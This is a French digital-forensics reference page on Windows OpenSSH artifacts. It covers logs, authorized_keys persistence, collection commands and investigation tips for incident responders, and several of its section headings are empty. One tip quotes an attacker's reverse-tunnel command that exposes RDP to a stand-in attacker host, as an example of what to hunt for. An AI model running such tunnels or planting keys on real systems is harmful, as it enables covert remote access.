Serveur et client OpenSSH

Présentation

Windows embarque le portage d'OpenSSH maintenu par Microsoft. Le client (ssh.exe, scp.exe, sftp.exe) est installé par défaut à partir de Windows 10 1803. Le serveur (service sshd) est une fonctionnalité facultative (« OpenSSH Server », disponible depuis Windows 10 1809 et Server 2019) qu'il faut ajouter, par exemple avec Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0. Il peut aussi être installé depuis les versions GitHub de Win32-OpenSSH dans C:\Program Files\OpenSSH. Les attaquants s'en servent pour des shells distants chiffrés, une persistance par clé et des tunnels qui contournent les contrôles périmétriques.

Emplacement

Ce que l'artefact prouve

• Serveur : quel compte s'est connecté en SSH, depuis quelle IP et quel port, avec quelle méthode (mot de passe ou clé publique), ainsi que les tentatives échouées. Les événements 4624/4625 du journal Security ajoutent la session d'ouverture.
• Persistance : une clé publique dans administrators_authorized_keys ou dans l'authorized_keys d'un utilisateur donne un accès sans mot de passe, qui survit aux réinitialisations de mot de passe.
• Usage du client : known_hosts liste les hôtes auxquels cet utilisateur s'est connecté (hachés uniquement si HashKnownHosts était activé). L'exécution de ssh.exe apparaît dans le Prefetch, Amcache et BAM.

Il ne consigne pas les commandes tapées dans la session SSH. Utilisez la création de processus (4688, événement 1 de Sysmon) avec sshd.exe comme parent, et les journaux PowerShell.

Champs clés

Horodatages

Rétention et effacement

• Le canal OpenSSH/Operational est petit et circulaire ; sur un serveur exposé, le bruit de la force brute peut chasser la connexion réussie en quelques jours.
• Les clés restent jusqu'à leur suppression. Suppressions et modifications peuvent rester visibles dans le journal USN et les clichés instantanés de volume.
• La désinstallation de la fonctionnalité facultative ne supprime pas forcément %ProgramData%\ssh.

Collecte

wevtutil epl OpenSSH/Operational E:\case\OpenSSH-Operational.evtx
robocopy C:\ProgramData\ssh E:\case\ProgramData_ssh /E /COPY:DAT
Get-ChildItem C:\Users\*\.ssh -Force -Recurse | Select FullName, Length, CreationTimeUtc, LastWriteTimeUtc
Get-WindowsCapability -Online | Where-Object Name -like 'OpenSSH*'
Get-Service sshd, ssh-agent

Ne copiez les clés d'hôte privées que si l'affaire l'exige, et traitez-les comme des éléments sensibles.

Outils d'analyse

• EvtxECmd, Get-WinEvent, Chainsaw : événements OpenSSH, Security et System.
• PECmd et AmcacheParser : exécution du client (SSH.EXE, PLINK.EXE).
• Velociraptor : recherche des fichiers authorized_keys et des journaux sshd sur tout le parc.
• N'importe quel éditeur de texte pour sshd_config, known_hosts et les fichiers de clés.

Conseils d'investigation

• Comparez sshd_config à la version par défaut : modifications de PasswordAuthentication ou PubkeyAuthentication, AuthorizedKeysFile pointant ailleurs, GatewayPorts yes ou AllowTcpForwarding activé.
• Tunnels inversés : ssh.exe -R <port>:localhost:3389 user@attaquant expose RDP via une connexion sortante. Cherchez -R, -L, -D, -N dans les lignes de commande, puis des connexions RDP depuis 127.0.0.1 ou ::1 dans les journaux de connexions RDP. plink.exe s'utilise de la même façon.
• Une installation inattendue de sshd sur un poste de travail est un constat en soi : datez-la avec le 7045 du journal System, la création des clés d'hôte et la règle de pare-feu.
• Corrélez les entrées known_hosts du client avec les traces réseau (SRUM, journaux du pare-feu, DNS) pour identifier les cibles du mouvement latéral.